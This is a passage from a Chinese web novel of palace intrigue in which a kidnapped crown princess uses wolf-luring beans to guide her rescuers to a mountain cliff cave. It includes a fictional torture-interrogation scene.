女儿凭空消失,夜庚新也急得浑身冒火,听见她的哀求声,憎恨地瞪了一眼后便没再理会,然后命令老大,“时珽!去通知城外的驻军,务必守好各个城门!” “是!”夜时珽也不迟疑,以最快的速度朝东城门的方向飞去。 “庚新……”范老夫人还想继母哀求。 夜庚新目如利剑,从未如此憎恶地对她咬牙切齿,“我敬你是长辈,对你多番容忍。即便你的孙女一次又一次在将军府做下那些下作事,看在你的颜面上我也没有发难她。让你们搬出将军府,已经是格外开恩。可你们呢,有反省、有感恩、有忌惮吗?这是皇城,天子脚下,你们可知道太子妃失踪会有什么后果吗?冤枉,若太子妃有何闪失,这里的每个人都要被问罪,你冤枉什么?” “我……我……”范老夫人也从未见过他如此动怒的一面,也不知是被他吓唬住了还是什么原因,开始不停地哆嗦,连话都说不完整了。 “将军,我们先带着府里人在附近找一找。”游建川和马氏也顾不上儿子了,也开始张罗起来。 “嗯。”夜更新不再范老夫人身上浪费时间,转身又去安排人了。 尉迟凌再次走进夜时舒待过的那间屋子,屋子里简陋无比,根本没有藏身之地,也没有任何打斗的痕迹。 桌上,茶杯里还有没喝完的茶水。 他端起茶杯,先是放在鼻下闻了闻,再抿了一小口,并没有发现任何。 “太子。”夜时竣和顾思沫从门外进来,一边犀利地扫视着屋中一切,一边说道,“小妹让九姑去盯着他们祖孙,九姑就一直在院里,她敢保证小妹绝对没有出过这间屋子!” “这间屋子一定有问题!”顾思沫也笃定道。 夫妻二人开始在屋里仔细查看起来。 角落、家具、墙壁,但凡能触摸到的地方都摸了一遍。 尉迟凌站在屋子中央,也眯着眼犀利地搜寻疑似机关类的物件。突然间他不经意地垂下眸子,在看到桌角边的地面时不由地愣了愣。 随即他蹲下身,在地上叩了起来。 就在桌角边的位置,明显响声不同,他敛紧双眸冷声道,“把这里砸了!” 夜时竣和顾思沫回头一看,都忍不住激动,赶紧跑出去叫人抄家伙—— 不多时,屋子地面露出一个巨大的深坑。 深坑中没有任何人和东西,但却有一条漆黑的密道! 尉迟凌铁青着脸,想都没想便钻进了密道中。 夜时竣也快速跟了进去。 顾思沫也想跟上,但想到公爹和大哥还不知晓情况,便飞出深坑跑出门外。 “九姑!小妹有可能被人从密道劫走了!我在这里守着,你赶紧去通知爹和大哥!” “好!”九姑激动地离开了宅子。 看着还跪在地上的范老夫人及范云濡、范云莹,顾思沫将他们恐慌不已的神色尽收眼中,站在他们面前冷笑,“你们可别说不知道这里有密道!” 范老夫人哆嗦地摆手,“我们……我们真不知道这屋里有密道……” 顾思沫眯着眼斜视着范家兄妹。 范云濡和范云莹从一开始便低着头,什么话也没说。 她冷冷一哼,“我华湘阁的规矩森严,绝不容忍弟子草菅人命主动害人,但这次你们得罪的人给了我特权,看我怎么整你们!” 闻言,范云濡和范云莹总算抬起了头,兄妹俩眼中都充满了紧张和戒备。 顾思沫双手背在身后,突然间扬起一手,将一把灰色的粉末撒向他们。 祖孙三人瞪眼看着,压根就来不及反应,紧接着‘咚咚咚’倒在地上。 顾思沫上前,发泄似的一人给了一脚。 “叫你们坏!” “芯儿,他们都晕了,你打他们他们也不疼。”离瑶不知从哪里蹦出来,看她踹人,赶紧跑过来劝说。 “瑶儿,你在这里看着他们,我去找大哥他们……” “不用去。”离瑶抓着她的手,‘嘿嘿’笑道,“我有办法找到太子妃。” “啊?你有办法?你有什么办法?”顾思沫不停地打量她。不是不信她的话,而是这么久以来,离瑶最擅长的就是吃,再不就是力气比常人大一些,她能想出什么办法找人? 离瑶望了望天,“天色未黑,还办不成。” 顾思沫汗,“……” 然而,她现在也没别的办法,得在这里守着,方便几方人马随时接应消息。 …… 夜时舒是听着水声醒来的。 只是在睁开眼看到身处的环境时,她脸色不由得失血。 一尺外的地方就是悬崖,崖下是瀑布以及瀑布汇成的湖水,她身后是黑漆漆的深洞,洞中有什么她暂时看不清楚。 而此刻的她手脚挂着铁链,铁链的另一头拴在头顶的石壁上。 最主要的是她浑身使不上劲儿,包括内力都施展不出来。 她现在连跳崖都做不到! 第229章 我们俩妯娌还从未好好说过话 “醒了?” 一道女声从深洞里传来。 夜时舒心下狠狠一沉,斜眼看着对方朝自己走近,那张熟悉的脸越来越清晰。 “太子妃……不,应该叫你梁王侧妃了。”她扬了扬唇,“说吧,想我怎么死,我配合就是。” 祝华凝也嘲讽地扬起嘴角,“你倒是识趣得很。” 夜时舒不置可否,只道,“做皇家的儿媳,能不识趣?自古以来皇权之争不是你死就是我亡,就算坐稳了那个位置也不一定是最后的赢家,不是么?更何况我是将门女,成王败寇的道理更深耕于心。” 许是她太识趣了,让祝华凝酝酿的那些得意的话都说不出口,只能阴仄仄地把她瞪着。 她眼神如蛇牙蝎尾,恨不得当场咬死她毒死她。但偏偏她什么都没做,只把自己瞪着,这让夜时舒心中自然有了定夺。 有人不想她这么快死。 准确的来说,是祝华凝背后的人抓了她还大有作用。 “说起来,我们做了数月的妯娌,好像从来没单独在一起好好说过话。”她感慨地叹了口气,“做皇家的女人真是不容易,就像一场好赌,自己依附的男人赌赢了一荣俱荣,若是赌输了便一损俱损。” 祝华凝背靠着石壁,冷笑问她,“怎么,后悔嫁给尉迟凌了?他那般宠你,若是知道你后悔了,不知道是否会心寒?” 夜时舒笑了笑,“身为皇家儿媳,有反悔的机会吗?若是有悔婚的机会,我不相信你还能跟尉迟睿过下去。不过我挺佩服你的忍耐力的,对骆丽娴那般容忍。要知道,当初就是发现她和魏永淮有奸情我才与魏永淮退婚的。” 祝华凝冷哼,“我同你能一样么?魏永淮与骆丽娴有奸情,但尉迟睿可没把骆丽娴当回事。” “也是。”夜时舒点了点头,“我做梦都没想到骆丽娴会那么好命,原本以为她是个孤女,没想到居然是北蔺国的五公主,金贵不说,现在还成了大邺国的亲王妃。别说,她还真是个传奇,能集两国荣宠于一身。” “呵!”祝华凝低笑,“就她那种上不得台面的贱人,你居然羡慕她?” “羡慕肯定是有的,但我更羡慕的是,她什么也没做,最后成为最大的赢家。”夜时舒说完,见她脸色一下子难看起来,立马补充道,“你可别误会,我不是在挑拨你们和睦的关系,我只是有感而发。” “毕竟我废了那么大的劲儿才当上太子妃,现在被你们一抓,估计就成了史上最短命的太子妃。哪像骆丽娴,怀着外男的野种还能做正妃,接下来尉迟睿做了皇帝,她就算做不成皇后也铁定能做皇贵妃。” “我俩不合归不合,可总感觉我俩都在为她做嫁衣。再怎么说我们两个也是大邺国一品朝臣的嫡女,却输给了那么一个下贱女人,你能甘心我还不甘心呢!” 她这一番肺腑至深的话让祝华凝沉默了起来。 夜时舒偷瞄着她,那脸色比先前见到自己时还阴沉难看。 她眸光暗转,又继续说道,“祝华凝,若将来皇后是你,我认输。但如果骆丽娴坐上了高位,我就算是死也不甘心。你能不能想办法把她弄来,借我的手杀了她?” “你要杀她?”祝华凝惊诧无比。 “是!”夜时舒笃定地道,“一,我不想被那么一个贱人比下去,太耻辱了!二,我死也得拉个垫背的,她就是最佳人选!” 祝华凝垂下眼眸又沉默起来。 夜时舒斜眼鄙夷道,“不会吧?你别告诉我你不敢、或者说下不了手?你把她哄到我面前,杀死她栽赃给我就好了,那莫千骁就算恨也只会恨我,与你和尉迟睿都没关系。我都不介意你还怕什么?” “你有那么好心?”祝华凝蹲下身,目光与她平视,似要从她脸上找出说谎的痕迹。 “我不是好心,我是不甘心。”夜时舒坚定地迎视着她,“她曾经破坏过我的婚事,膈应了我好久,要不是尉迟睿把她抬为良娣,我早都找她算账了!其次,她一个怀着野种的贱人,意图混淆皇室血脉,我作为忠臣之后,绝不允许这样的人践踏皇室威严!再者,她是北蔺国人,若是拥有太高的身份,对大邺国来说极有可能是亡国的隐患,我祖上世世代代为国效忠,绝对不能让这样的隐患存在!” 看着她眼中的坚定和恨意,祝华凝还真找不到一丝破绽。 夜家世代为将,各个忠君爱国,这还真是没法反驳。 “那行,看在你有颗赤胆之心的份上,我就满足你死前的心愿。”她起身,临走前给了夜时舒一个轻蔑的眼神,“你别想耍什么花招,先不说你中了软筋散,就算你能挣脱铁链,这方圆十里都是荒山,且到处都布满了尉迟睿的人,你跑不出去的。” 夜时舒目送她走进黑洞深处。 长舒一口气。 把祝华凝支走,是不想同祝华凝待在一起太久。她怀着孩子,害喜的反应随时会有,若是让祝华凝知道她身怀有孕,绝对不会饶过她的肚子! 再者,把人支走她才有时间思考如何逃生…… 她闭上眼,逼着自己冷静冷静再冷静。 突然深洞中又传来脚步声。 不是祝华凝,而是一名陌生的女子。 很明显,对方是专门在此看守她的。 她能猜到尉迟睿不现身的原因,现在尉迟凌他们一定在四处寻找她,尉迟睿若是不在城中,必定会引人怀疑。 而祝华凝自从死牢中放出去后就一直住在娘家丞相府,谁能怀疑上这位躲在娘家的废太子妃? 心中痛骂祝华凝的同时,她突然想起祝华凝先前说的话—— 方圆十里都是荒山? 荒山? 突然,她眸子一亮。 “那个……你能不能帮我一下?”她向女子哀求道。 “你想做什么?”女子满眼戒备地瞪着她。 “我怀里有只盒子,顶得我心口难受,你能不能帮我拿出来?” “盒子?”女子走近她,一边盯着她神色一边伸手摸了摸她心口,然后从她怀里取出小方盒。 摇了摇,听到里面碰撞的响声,女子冷声问道,“是什么?” 夜时舒假装呼了呼气,以示自己舒服多了,然后回她,“我二哥送我的彩豆子。” 女子虽满脸戒备,但还是打开了盒子。 见里面真有花花绿绿的彩豆,她眯着眼脱口问道,“这有何用?” 夜时舒干干一笑,“我二哥从来都把我当小丫头,有什么好玩的东西都会给我,这就是他给我玩的,说这些豆子很漂亮,多看看心情会好。你帮我把它们倒在地上吧,我可能再没机会回去了,现在只能看着这些豆子怀念家人。” 出于戒备,女子并没有去触碰盒子里的彩豆。 想着她现在什么都做不了,于是便把彩豆都倒在了她脚边,然后把盒子随手扔下湖泊。 “你好好看吧,看个够!” “……谢谢。”斜视着她离去的背影,夜时舒嘴角翘了翘。 离瑶说这些彩豆能引来狼群,也不知道是不是真的? 可现在她也没别的法子,只能试试。 要真引来狼群,那尉迟睿安排在附近的人一定不得安宁…… 第230章 凌迟逼问 宅院那处密道,通向一里外的一口枯井,尉迟凌和夜时竣追到枯井时,除了发现枯井里凌乱的脚印外,什么也没发现。 文岩、文墨以及夜家军在城内搜寻,但半日过去始终是一无所获。 而唯一的线索就是夜家祖孙三人。 尉迟凌让人将他们分别关在三间房里,由他亲自审问。 尉迟凌最先审问的是范老夫人。 但范老夫人一直喊冤,哪怕上刑具也不承认夜时舒的失踪与她有关。 眼见她被折磨得晕死两次,九姑劝道,“殿下,就凭她的为人,虚荣至极,奴婢觉得她不是那种视死如归的人。想来她应该是不知情的,不如先放过她,去审范云濡和范云莹?” 尉迟凌眸光紧敛,冷声溢道,“去把范云莹带过来!” “是!” 不多时,九姑抓着范云莹进屋,狠狠将她推到范老夫人身上。 看着凳子上黑面冷冽的男人,范云莹浑身抖得厉害,连舌头都打结了,“太……太子殿下……冤……冤枉……” 尉迟凌盯着她的眸光没有任何波澜,冷得让人不敢直视。他甚至没有问范云莹一句,只对九姑说了两个字,“凌迟。” 九姑从一旁的桌上拿起一把锋利的刀。 范云莹一双美目凸睁,眼珠子都快从眼眶里落出来了,“不……” 她怀疑他们只是威胁自己,可尉迟凌面如死水,连眼都没眨一下。九姑也是一言不发,走到她身侧,一刀直接割向她的手臂—— “啊——”剧烈的疼痛让她失声惨叫。 可就在她翻着白眼要痛晕过去时,九姑的手指突然在她后背用力点下,也不知道点到了她什么穴位,让她再次惨叫,然后双眼恢复了清明。 看着地上血淋淋的皮肉,再看九姑手上带血的刀刃,她抖着身子不再喊冤了,“我……我招……别……别杀我……” “说!”九姑怒踹了她一脚。 “有……有人给我……一……一千两……让我挖……挖密道……” “是谁?” “不……不知……” “找死!”九姑咬着牙又朝另一条手臂割去。 “啊——”范云莹再次惨叫。 但九姑用同样的方法让她清醒着,要她清晰地感受痛不欲生的滋味。 范云莹趴在地上,泪水绝望地涌出,“我……我真的不知道……我只拿了……拿了银子……真的不知是谁……” 九姑还要再下手,尉迟凌突然抬手示意,“拉去城门,暴尸!” “是!” “不……不要……”范云莹满眼恐惧和绝望。 九姑再一次出手,但这次不是让她清醒,而是劈晕,然后拖出房门扔给了文岩和文墨。 夜时珽、夜时竣、顾思沫、离瑶都在门外候着,等范云莹像死狗一样被拉走,他们才进屋中。 夜时珽先说道,“抓走小妹的人肯定和梁王脱不了干系,我已经派人盯了他一下午,但并没有发现他有任何异常。莫千骁那里也派人盯着,他是去了梁王府,但去了就没出来过。” 夜时竣道,“小妹刚被抓走,现在全城都在搜寻小妹的下落,他们不傻,这会儿露马脚无疑是找死。” 夜时珽点了点头,“如此也好,至少说明小妹暂时不会有危险。而且我还有个主意,想殿下出面。” “说。”尉迟凌立马朝他看去。 “殿下,你让皇上把他们宣进宫中。小妹若是在他们手上,他们‘受困’于宫中,便没机会伤害小妹。就算外面的人想通风报信,皇宫森严的守卫也让他们诸多不便。如此一来,我们也有更多时间寻找小妹。” 他这法子一出,尉迟凌猛地一震,下一刻风刮一般奔了出去—— 离瑶突然拉了拉顾思沫的衣袖。 顾思沫有点哭笑不得,但还是对夜时珽和夜时竣说道,“大哥、时竣,瑶儿说她可以试着寻找小妹。” 兄弟二人立马把离瑶瞪着。 离瑶扬着脸认真说道,“我今日给了太子妃一盒彩豆,还告诉了她彩豆的作用。如果太子妃有把我的话听进去,说不定会利用那些彩豆。虽然我也没把握,但我觉得有一点希望还是可以试试的。” “离瑶,需要我们如何做?”夜时珽沉声问她。现在找人要紧,哪怕只有一点点希望,他们也必须重视! “你们派人去打探打探,看有没有群狼出没的地方。我给太子妃的彩豆,是九黎部落罕见的捕狼诱饵。如果一个地方莫名其妙地出现群狼,说不定太子妃就在那。” “你……”夜时珽被她的话震撼到了。 他只觉得这丫头古灵精怪,时常做些令人啼笑皆非的事,包括今日,她又送些乱七八糟的东西给他家小妹。 不过这一次,他很感激,也很激动! “大哥,还愣着做甚,赶紧去找啊!”夜时竣抓着他的手腕就往外跑。 第231章 我哪知道这里的狼如此多 梁王府。 看着齐绥来宣旨,尉迟睿和莫千骁脸色都不怎么好看。 “梁王殿下、四皇子,皇上已在宫中设下晚宴,特邀奴才来接你们前去赴宴。” “齐公公,这都戌时了,父皇怎会现在让我们进宫?”尉迟睿不满地问道。 “梁王殿下,上回宫宴您没去,皇上知您心中有郁结,故而专程为您设宴,想同您叙叙父子之情。且皇上听说四皇子近来时常出入梁王府,知你们关系要好,便吩咐奴才务必接上四皇子一同赴宴。”齐绥面含微笑地回道。 尉迟睿眸底溢出冷意。 莫千骁及时给了他一个冷静的眼神。 皇上突然召见,这其中必有猫腻,而这个时候他们若是拒绝,反而让人起疑。 “就请公公稍后,待梁王更衣后,我们便随你进宫。”不等尉迟睿再说什么,他先应了下来。 “是。” 待齐绥领着宫人去大门口等候后,尉迟睿有些没好气地责备,“你难道真要去宫中?你可知这一去会发生什么?” 莫千骁沉着脸道,“夜时舒失踪,尉迟凌怀疑我们,不是意料中的事吗?皇上突然召见,必定是尉迟凌从中作怪。如果我们不去赴宴,反倒证实了我们有嫌疑。反正我们现在拿住了夜时舒,也不着急动手,不是么?” 经他这么一提醒,尉迟睿也冷静了下来。 的确,为了摆脱嫌疑,他们现在不会去见夜时舒,就算尉迟凌伙同帝王困住他们又如何?不就是进宫赴宴嘛,难道还能拖住他们一辈子? 再说了,莫千骁是北蔺国四皇子,他父王不可能把莫千骁怎样! 不多时。 二人上了宫中来的马车—— 待他们刚离开梁王府,一道身影就从梁王府的后门进入,直奔骆丽娴的院子。 “祝华凝让我去盯着夜时舒?”听到来人的话,骆丽娴一脸的不可思议,“她是蠢货吗,这个时候我怎敢轻易出城?” “王妃,侧妃说,她在那地方实在无趣,让你去陪陪她,顺便一同先教训教训夜时舒。”来人又说道。 “教训什么?你转告她,夜时舒可是有大作用,让她别因为私仇就坏了王爷和我四皇兄的大计,否则让她吃不完兜着走!”骆丽娴骂完,又补充道,“现在就去回话,本王妃现在怀着身子,不便去!” “是。”来人命令退出了房门。 “哼!”骆丽娴对门外憎恶地哼道,“祝华凝你个贱人,别以为我不知道你打的什么主意。你跟夜时舒有仇,那是你们的事,想把我拖下水,门都没有!” 上次宫宴的事她擅作主张,差点被尉迟睿教训。 如今他们都已经行动了,且成功了,她只需要安享富贵荣华就行了,没必要再做任何事。 祝华凝让她去,多半是她想教训夜时舒,然后嫁祸给她。 这女人,阴险又恶毒,坏透了,她才不会上当! …… 夜色下,一道道黑影如鬼魅般在道路两旁的林间穿梭。 直到领头人停下,黑影人才纷纷停下。 听着远处狼嚎声,说漫山遍野都不夸张,夜时竣不安地问道,“离瑶,你确定这些狼嚎声是奔着那什么彩豆去的?这些嚎叫声可不像是几头狼啊,彩豆在我小妹身上,要是它们伤到我小妹怎办?” 离瑶噘着嘴,“我哪知道这里的狼如此多……” 顾思沫赶紧扯了扯夜时竣的衣袖,“时竣,别担心,瑶儿说过了,小妹知道那些彩豆的作用。既然引起群狼出没了,说明小妹是故意的。既如此,她应该能保护好自己。” 夜时竣没话可说了。 他们按照离瑶的提议寻找,还真在这个叫四明山的山头发现了群狼集体出没。 而这四明山只是方圆十里其中的一座山,与之连绵的山有多少不可计数,可想而知这里有多险峻。 “上山!”尉迟凌丢下两字,先朝不远处的密林飞去。 …… 崖洞边上。 听着远近此起彼伏的狼嚎声,夜时舒心里别提多高兴了。 她没想到离瑶随随便便给她的玩物竟然有如此大的作用,听听这漫山遍野的叫声,那真叫一个刺激! 也不知道尉迟睿安排的那些人能否受得了…… “夜时舒。”祝华凝的声音又从深洞中传来。 借着她手举的火把,夜时舒清晰地看到她失血的脸色,关心地问道,“可是有人来救我了?” 祝华凝咬着牙问她,“你没听到外面的叫声?你不怕?” 夜时舒轻笑,“听到了啊!可是我怕什么?我现在在瀑布上面,就算山中有猛兽,它们也飞不上来。” 第232章 你有身孕了? “呵!你倒是挺会安慰自己的!”祝华凝轻笑,嘲讽她在自欺欺人。 “你若是害怕,就多找几个手下陪着吧。” “谁害怕了?我看你害怕才对!”祝华凝说着在她对面盘腿坐下。 看着她眼中的恐惧和不安,夜时舒也没拆穿。 祝华凝是正儿八经的高门贵女,因为从小就被澜贵妃挑中,早早与尉迟睿定了亲,所以从小到大祝家都是将她当太子妃、皇后养的。 如今为了尉迟睿的‘大业’,这么一个身娇体贵的人儿来到荒山,住崖洞、听兽叫,她要不害怕,鬼都不信! “小姐!”之前看守夜时舒的女子焦急出现。 “白芍,出何事了?”祝华凝脸色难看地问道。 “回小姐,好多狼冲我们这座山来了,还咬死了好几个人!” “废物!他们不知道躲起来吗?”祝华凝怒骂。 “现在人是躲起来了,可是方圆山头的狼好像都在往我们这边来,就算躲也不知道躲到何时去!”白芍揪心地禀着外面的情况。 祝华凝咬着牙气得气息都粗了起来。 夜时舒静静地看着她们,对于她们恐慌的反应并不意外。 这可不是后宫或者后宅,靠心机和手段就能解决麻烦,这是荒山,面对的是凶残的野兽,就外面那震天不绝的狼嚎声,别说几十上百人,就算千军万马都得头皮发麻。 “夜时舒,是不是你把群狼引来的?”祝华凝突然凌厉地质问她。 “呃?”夜时舒懵懂地眨了眨眼,“我?引群狼过来?” “以往从未听说这山有群狼出没,今日你到了这里,便出现如此诡异的事,你敢说你没有使什么手段?” “我说祝华凝,你能讲点理不?我到现在为止,动都动不了,我能使什么手段?”夜时舒翻了个白眼。 祝华凝突然看到她脚边的彩豆,玉手一指,怒问道,“这是什么?” “这是我二哥给我的玩物,本来是装在一个盒子里的,但盒子挤压着我心口,我让你的白芍帮我拿出来……”她说着话斜眼朝白芍看去,“不信你问她,她还把盒子给扔下去了。” “是这样吗?”祝华凝扭头问白芍。 “回小姐,是的。”白芍点了点头。 夜时舒撇了撇嘴角,“我现在没办法收捡,你要觉得有问题,那你就拿去玩,反正我要死了,留着也没啥用了。” 祝华凝把手里的火把递给白芍,然后将那七颗彩豆捡了起来。 她仔仔细细地查看着,要说味道,并没有什么独特的香味,反倒是有点泥土的味道,再带点腥味,多闻几下让人作呕。 但这些豆子颜色娇艳,的确喜人,倒是符合夜时竣那纨绔公子给妹妹的东西。 她是怀疑群狼出没跟夜时舒有关,可若说几颗豆子就能引来群狼,她却是不信的。 “既然你要送给我,那我就勉为其难收下了。”她拿出手绢将彩豆包上,然后放进怀兜里。 虽然这些豆子味道不怎么好闻,但七种颜色豆子真是稀世罕见。大不了她拿回去让人用香料熏一熏,只要除掉豆子上的臭味不就完美了? 夜时舒看着她收进怀里,一时间也不知道该说什么。 这豆子要见光才能引来群狼,她这么一收,岂不坏了好事? 正在这时,她胃里突然难受起来—— “呕!” 祝华凝瞬间睁大眼瞪着她,“你、你有身孕了?” 夜时舒心中大骇,但好在这一次害喜不是特比厉害,她缓过气息后白了祝华凝一眼,“借你吉言,我也希望肚子能有一个。就我家男人现在的地位,如果我怀有身孕,那一切都稳妥了,谁也别想再取代他的地位。” 她叹了口气。 接着她不满地道,“我说你们到底会不会照顾人啊?我被抓来这么久,滴水未进,腹中就一点隔夜饭,你们还不许我难受啊?我自小脾胃就弱,你们还这样苛待我,是想我把那点隔夜饭都吐出来你们才甘心吗?” 祝华凝眯着眼紧紧地打量着她,从她的神色到她的唇形,再到她平坦的小腹,仿佛要从她身上找出怀孕的痕迹。 好在夜时舒就干呕了一下,没有再继续。 “侧妃!”深洞中又有一名男子跑来。 “何事?”祝华凝不得不转移注意力。 “群狼把我们这座山包围了!我们的人现在进不来也出不去了!” “什么?” “侧妃,那些狼如果都迁徙至此,那我们势必会被困住,粮草不够怎办?” 第233章 他来了 如果让祝华凝处理后宅之事,她必定得心应手、游刃有余。 可荒山、猛兽、粮草这些东西让她一个娇养的后宅女子处理,这就好比让她一个只知绣花的人提刀去打千军万马,她若有这个能耐,那随便一个人都能身披戎装上阵杀敌了! “这些畜生只是朝这边来了而已,说不定天亮它们就散了,你们急什么急?”她情绪失控地恼道,“再说了,饿几顿又不会要你们的命,实在不行你们打头畜生下酒不行吗?” 手下听她这话脸都黑了。 那些狼都是一群一群的,他们在山中就几十人,别说打头畜生下酒了,他们还不够被那些畜生分食呢! 祝华凝恼归恼,但还是知道,山里的这些人不能死,否则出现任何闪失,她根本应付不了。 “去,把人都召集进石窟中,务必守好石窟入口!” “是。”手下得了令快速退下。 而正在这时,外面的狼嚎声越发的近了,在深夜静谧的山林中,瘆人得让人头皮发麻,从外面传入的气息都仿佛充满了凶残。 虽说崖下是瀑布和湖泊,可湖泊周围都逐渐汇聚了野狼,哪怕外面漆黑一片,但祝华凝还是吓得直哆嗦。 “白芍……快扶我进去……” “是,小姐。”白芍一手举着火把一手将她从地上搀扶起来。 夜时舒斜眼睇着她背影,再聆听外面的动静,好像彩豆的作用并没有因为到了祝华凝身上而失效…… 她唇角微勾,心中有了一种恶趣的幻想。 祝华凝带着这些彩豆回城,在途中会不会遇上群狼围攻? 心下笑过之后,她望着漆黑的远景夜空,然后垂眸看了看自己的肚子,又在心中默念,‘宝贝乖一些,千万别捣乱,不然咱娘俩都休想活命。” …… 密林中。 夜时竣他们全躲在大树上,连呼吸都不敢喘大了。 下面淅淅索索的声响就没停过,那一头又一头的东西比闹市赶集还热闹,他们这些浴血沙场见过大世面的男人面对这种场面都无法淡定。 夜时珽和离瑶同在一棵树上,忍不住问她,“瑶儿,你可有办法?” “办法是有,可把它们驱散走了,我们没法找到太子妃的下落。这山太大了,还得它们带路才行。”离瑶回道。 “……”夜时珽无语。 “大公子,你安心便是,这么多狼,那些坏人也动不了,不用担心他们跑掉。”离瑶安慰他。 “……”也是没有光线,没人看到夜时珽朝她翻的大白眼。 听到他们讲话,隔壁树上的夜时竣忍不住出声,“离瑶,我们总不能一直待在树上吧?” 离瑶回他,“没让你们待树上啊!我有办法驱开它们不要它们咬我们,可你们跑太快了,都不给我说话的机会!” 她话音一落,树上的人全部静默。 特别是旁边某棵树上传开‘咔咔’指骨响动的声音。 夜时珽压着嗓音道,“什么办法能驱开它们?” 这丫头,不知道的还以为她是在耍着大家玩呢! “好啦,我现在就让它们走开。”离瑶说着话从怀里摸出什么东西,塞到夜时珽手中,“这是驱兽的药粉,抹在脸上或者耳后,再让身上出些汗,不管怎么动物都不会靠近我们。只是大家要忍一忍,因为出了汗之后会很臭。” 夜时珽摸着她给瓶子,先倒了些抹在耳后,然后飞到尉迟凌那棵树上给他倒了一些,接着又分发给每个人,最后回到离瑶身边,将瓶子还给她。 顾思沫一边摸着药粉一边问,“瑶儿,你怎么会有这么多厉害的东西?我从小跟着华湘阁学习,都没听说过这些!” 离瑶抹着药粉‘嘿嘿’回她,“我们九黎部落祖祖辈辈数百年都是靠打猎为生,这些都是祖上流传下来的。不过这些东西不好弄,就拿这驱兽粉来说,要上百年的猛兽骸骨研磨制粉,少一年都不行,一般人哪能轻易分辨出骸骨年龄,而且除了上百年的猛兽骸骨,还要配上兽王的尸水,要捕到兽王就够费劲的了!” 她话音一落,附近树上的人再一次陷入静默。 夜时珽紧抿着薄唇,只觉得胃里隐隐翻腾,抬起的手都不敢再摸自己耳后。 离瑶看不到其他的神色,以为大家都在等待她继续发话,于是又提醒道,“用点内力让身子热起来,别忘了把鼻子捂住啊!” 夜时珽暗暗催动内力,但却没把她后面一句话听进去。 毕竟他也算是从尸山血海中爬起来的人,什么味儿受不了的?叫他一个大男人捂着鼻子,那不成笑话嘛? 他们中,除开离瑶就顾思沫一个女子,顾思沫自然是听劝的,拿手绢撕成碎片塞着鼻孔,其他人则是跟夜时珽一样,只觉得这种举动太有损形象了。 然而,没多久,夜时竣‘哇’的一声—— “呕——好臭啊——” 他这一吐一叫的,旁边几棵树上也纷纷响起呕吐声。 夜时珽鼓着腮帮子,差点因为憋气翻白眼。 而树下路过的狼群像受了什么刺激似的,全疯狂四散。有些还撞在他们所在的树干上,那力道险些把他们从树上晃下去。 “快忍不住了吧?都说了让你们把鼻子捂住,怎么不听劝呢?”离瑶说着话,身体朝夜时珽倾过去,精准地朝他鼻孔里塞了两团软绵物。 夜时珽狠狠地呼出一口气,紧接着惊诧问她,“你还带着棉花?” 离瑶‘嘿嘿’笑,“这些东西又不重,放身上也不碍事的。” 夜时珽只觉得自己心肝脾肺都在抽搐,“……” 该表扬她想得周到吗? “好了,那些狼不会靠近我们了,现在我们跟着它们走。”离瑶说完便跳下了树。 尉迟凌第二个下树,但却是一言不发地冲在最面前。 离瑶忍不住喊他,“太子,别着急啊,你这样会把狼群吓到的!” …… 石洞中突然涌进数十人。 不过没几个人留意夜时舒,因为大家都在商量如何对付山中这数之不尽的野狼,再者她被服了软筋散,还拴了铁链,且崖下就是深不可测的湖泊,没人相信她能逃脱。 夜时舒离崖近,外面的动静她比任何人都清楚。 此时的她又饿又困,但洞里面的人叽叽喳喳太吵,她想睡都睡不安宁。 突然间,她隐约听到崖下有异响。 是湖泊里传来的。 听了一天的瀑布水流声,她耳力已经适应了,突然间多了一点水花声,对于她来说自然是敏感的。 她心里止不住激动。 斜着眼朝洞里那些人睇去,他们围着祝华凝依旧讨论不停。 过了大约一刻钟,熟悉的额头从崖下缓缓冒出来,对上那双漆黑冷冽的眸子,她眼眶瞬间湿润—— 他来了! 第234章 她是怎么逃走的? 晨曦的阳光照进石洞。 “不好了!夜时舒不见了!” 石洞中带着回音的喊叫声将祝华凝吵醒,缓缓睁开眼,经发现自己歪歪扭扭地倒在地上。 浑身的疲乏先不说,抬眼看到崖洞边再无夜时舒的身影,甚至连拴在夜时舒身上的铁链都不见了,她猛如回魂儿般从地上爬起,扯开嗓门怒问,“究竟发生了何事?夜时舒呢?谁把她救走了?赶紧给我找!” 白芍也从地上晃晃悠悠地起身,揉着额头说道,“小姐,我们好像中了迷药……” 祝华凝脸色惨白得吓人。 努力的回想昨晚的情形—— 他们在商量如何驱散外面的狼群,一个个吵吵嚷嚷的,她正烦得不可开交,突然间就不省人事了。 她扫视着石洞里的人,比她早醒的皆为了夜时舒不见了而慌张不安,有正恍恍惚惚苏醒的,甚至还有十来个人依旧倒在地上没醒。 有手下主动禀道,“侧妃,石窟的门紧闭着,没有人来过的痕迹,夜时舒应该不是从石门逃走的。” 祝华凝瞪了他一眼。 这不废话吗? 要是石门被人打开,那群狼早都进来把他们生吞活啃了! 她夺步到洞崖边。 这一瞭望,让她忍不住倒抽凉气,双腿都不由得发软。 湖泊周围挤满了野狼,成千上万头,全仰着脖子望着她—— “啊!” “小姐!”白芍及时扶住她,虽然也被外面庞大的狼群吓得直哆嗦,但还是强撑着安慰她,“小姐别怕,它们上不来的。” 祝华凝被她扶到洞穴中,看着一个个慌乱无措的手下,恼怒地吼道,“夜时舒到底去哪了?要是找不见,大家都别活了!” 尉迟睿之所以让她来这种地方看管夜时舒,一是信任她,二是她回了丞相府后就一直避着人,外人只道她是接受不了从太子妃变成亲王侧妃,故而没几个人敢上丞相府去找她。 眼下,她把好不容易抓到的夜时舒弄丢了,她要如何向尉迟睿交代? 更重要的是,夜时舒是如何消失的? 尉迟睿说过那软筋散能让夜时舒十日内都会变成废人,她就算滚下崖,可铁链捆着她的,她又如何能带着铁链逃走? 而他们所有人都中了迷药…… 难道是尉迟凌来救走的夜时舒? 可外面那么多狼,他尉迟凌再是厉害,也不可能对付得了成千上万的野狼! 到底哪里出了问题? 她现在要去哪里找夜时舒? “啊啊啊——”此刻的她无助到了极点,只能尖叫着发泄。 …… 城郊一处农舍中。 夜时舒睁开眼时,险些以为自己在做梦。 “大哥、二哥、二嫂、璃儿……”她眸光含着水光转向床头的男人,“阿凌……” “可有哪里不适?”尉迟凌紧紧抓着她的手,低沉的嗓音沙哑得快叫人听不清了。 看着他眼中还未褪去的余怕,她挤了挤笑,“就是没什么力气。”想到什么,她下意识地摸了摸肚子,紧张问道,“孩子……孩子还好吗?” 尉迟凌重新握住她的手,沙哑道,“孩子没事,很强壮。” 